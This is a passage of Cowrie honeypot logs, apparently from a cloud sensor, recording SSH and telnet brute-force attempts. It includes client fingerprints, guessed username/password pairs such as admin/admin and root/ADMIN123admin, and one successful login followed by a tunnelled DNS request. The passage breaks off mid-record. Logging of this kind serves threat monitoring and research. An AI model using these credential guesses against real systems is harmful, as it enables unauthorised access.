{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:20.583103Z","src_ip":"69.6.221.248","session":"9a0414dec2ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"!@#123","message":"login attempt [user/!@#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:21.068964Z","src_ip":"69.6.221.248","session":"9a0414dec2ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:22.198547Z","src_ip":"69.6.221.248","session":"9a0414dec2ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:23.984908Z","src_ip":"122.168.114.167","session":"9d94c9955d59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"19.8","message":"Connection lost after 19.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:27.526628Z","src_ip":"122.168.114.167","session":"9d94c9955d59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":51360,"dst_ip":"159.203.135.109","dst_port":22,"session":"574feb759e06","protocol":"ssh","message":"New connection: 122.168.114.167:51360 (159.203.135.109:22) [session: 574feb759e06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:47.526122Z"}
{"eventid":"cowrie.session.closed","duration":120.0009994506836,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:49.528600Z","src_ip":"217.196.164.80","session":"2c63e2211cc7","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:49.593787Z","src_ip":"122.168.114.167","session":"574feb759e06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:49.597198Z","src_ip":"122.168.114.167","session":"574feb759e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.203.183.35","src_port":35342,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5b8355d55f9","protocol":"ssh","message":"New connection: 2.203.183.35:35342 (159.203.135.109:22) [session: a5b8355d55f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:50.095604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:50.099458Z","src_ip":"2.203.183.35","session":"a5b8355d55f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:50.203275Z","src_ip":"2.203.183.35","session":"a5b8355d55f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"khongbiet","message":"login attempt [ubuntu/khongbiet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:50.765394Z","src_ip":"2.203.183.35","session":"a5b8355d55f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:51.902927Z","src_ip":"2.203.183.35","session":"a5b8355d55f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:58.638369Z","src_ip":"122.168.114.167","session":"574feb759e06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.216.28.11","src_port":40806,"dst_ip":"159.203.135.109","dst_port":22,"session":"540e56f0d0d4","protocol":"ssh","message":"New connection: 148.216.28.11:40806 (159.203.135.109:22) [session: 540e56f0d0d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:58.839585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:58.846676Z","src_ip":"148.216.28.11","session":"540e56f0d0d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:58.911611Z","src_ip":"148.216.28.11","session":"540e56f0d0d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ADMIN123admin","message":"login attempt [root/ADMIN123admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:37:59.200289Z","src_ip":"148.216.28.11","session":"540e56f0d0d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:00.268824Z","src_ip":"148.216.28.11","session":"540e56f0d0d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43248,"dst_ip":"159.203.135.109","dst_port":22,"session":"b160d31247c3","protocol":"ssh","message":"New connection: 159.203.92.129:43248 (159.203.135.109:22) [session: b160d31247c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:01.061482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:01.066381Z","src_ip":"159.203.92.129","session":"b160d31247c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:01.071151Z","src_ip":"159.203.92.129","session":"b160d31247c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app1","password":"123456","message":"login attempt [app1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:01.083090Z","src_ip":"159.203.92.129","session":"b160d31247c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.4","message":"Connection lost after 14.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:01.974830Z","src_ip":"122.168.114.167","session":"574feb759e06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:02.089039Z","src_ip":"159.203.92.129","session":"b160d31247c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":35634,"dst_ip":"10.17.0.5","dst_port":22,"session":"60595384b514","protocol":"ssh","message":"New connection: 87.251.64.176:35634 (10.17.0.5:22) [session: 60595384b514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:17.237774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:17.242364Z","src_ip":"87.251.64.176","session":"60595384b514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:17.338478Z","src_ip":"87.251.64.176","session":"60595384b514","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:17.626255Z","src_ip":"87.251.64.176","session":"60595384b514","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:17.729081Z","session":"60595384b514","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:17.827231Z","src_ip":"87.251.64.176","session":"60595384b514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:17.925597Z","src_ip":"87.251.64.176","session":"60595384b514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.80.109.239","src_port":33706,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7d923a8f6fc","protocol":"telnet","message":"New connection: 188.80.109.239:33706 (10.17.0.5:23) [session: e7d923a8f6fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:20.366669Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":39028,"dst_ip":"159.203.135.109","dst_port":22,"session":"43c3b45b92b8","protocol":"ssh","message":"New connection: 69.6.221.248:39028 (159.203.135.109:22) [session: 43c3b45b92b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:25.510021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:25.515021Z","src_ip":"69.6.221.248","session":"43c3b45b92b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:25.630148Z","src_ip":"69.6.221.248","session":"43c3b45b92b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@2019","message":"login attempt [root/test@2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:26.120603Z","src_ip":"69.6.221.248","session":"43c3b45b92b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:27.246355Z","src_ip":"69.6.221.248","session":"43c3b45b92b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53762,"dst_ip":"159.203.135.109","dst_port":22,"session":"456f7c7086ec","protocol":"ssh","message":"New connection: 122.168.114.167:53762 (159.203.135.109:22) [session: 456f7c7086ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:30.787108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T08:38:31.606904Z","src_ip":"122.168.114.167","session":"456f7c7086ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 